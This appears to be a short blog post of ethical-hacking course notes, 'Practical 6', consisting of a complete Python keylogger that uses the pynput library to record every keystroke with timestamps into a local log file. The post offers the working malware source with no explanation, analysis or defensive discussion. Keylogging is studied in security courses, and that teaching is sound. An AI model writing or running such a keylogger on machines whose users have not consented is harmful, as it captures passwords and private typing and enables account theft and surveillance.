Skip to main content

Command Palette

Search for a command to run...

EH Prac

EH

Published
•1 min read•View as Markdown
*********************************Practical 6**********************************
KEYLOGGER

from pynput.keyboard import Key, Listener
import logging

log_dir=" "
logging.basicConfig(filename=(log_dir+"key_log.txt"),
level=logging.DEBUG,format='%(asctime)s.%(message)s:')

def on_press(key):
    logging.info(str(key))
with Listener(on_press = on_press) as listener:
    listener.join()